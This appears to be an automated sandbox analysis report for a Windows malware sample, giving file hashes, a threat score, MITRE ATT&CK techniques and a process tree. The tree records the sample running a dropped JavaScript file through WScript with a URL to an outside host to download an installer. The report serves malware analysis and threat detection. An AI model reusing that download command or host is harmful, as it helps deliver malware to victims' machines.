8ea56ca2636b05382e88190f465c70774d3b4cf481a7a93b4a6bcd8b0b86caf8

General

Target

492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe
Size

184KB
MD5

492396d3aac1454a33cc6f1379d2c8b4
SHA1

9117468bfb9ae659995d572da45f9bccb5d903d4
SHA256

8ea56ca2636b05382e88190f465c70774d3b4cf481a7a93b4a6bcd8b0b86caf8
SHA512

e058257dab88bea39e1aac611bc6b60c4395b12180d3c1f69c8dab862d753ea79715f5d3b254809f158f7b317d8f4e16dd0f9dfe1b128a0c98cebbc0366ebf2b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3+:/7BSH8zUB+nGESaaRvoB7FJNndnj

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
5	4424	WScript.exe
39	2128	WScript.exe
40	2128	WScript.exe
42	1640	WScript.exe
52	5012	WScript.exe
53	5012	WScript.exe
59	1688	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4420	1560	WerFault.exe	84

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 4424	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	85
PID 1560 wrote to memory of 4424	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	85
PID 1560 wrote to memory of 4424	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	85
PID 1560 wrote to memory of 2128	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	100
PID 1560 wrote to memory of 2128	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	100
PID 1560 wrote to memory of 2128	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	100
PID 1560 wrote to memory of 1640	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	101
PID 1560 wrote to memory of 1640	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	101
PID 1560 wrote to memory of 1640	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	101
PID 1560 wrote to memory of 5012	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	104
PID 1560 wrote to memory of 5012	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	104
PID 1560 wrote to memory of 5012	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	104
PID 1560 wrote to memory of 1688	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	105
PID 1560 wrote to memory of 1688	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	105
PID 1560 wrote to memory of 1688	1560	492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe	105

C:\Users\Admin\AppData\Local\Temp\492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe
  2⤵
  - Blocklisted process makes network request
  PID:4424
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2128
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe
  2⤵
  - Blocklisted process makes network request
  PID:1640
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe
  2⤵
  - Blocklisted process makes network request
  PID:5012
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe
  2⤵
  - Blocklisted process makes network request
  PID:1688
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 1448
  2⤵
  - Program crash
  PID:4420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1560 -ip 1560
1⤵
PID:4280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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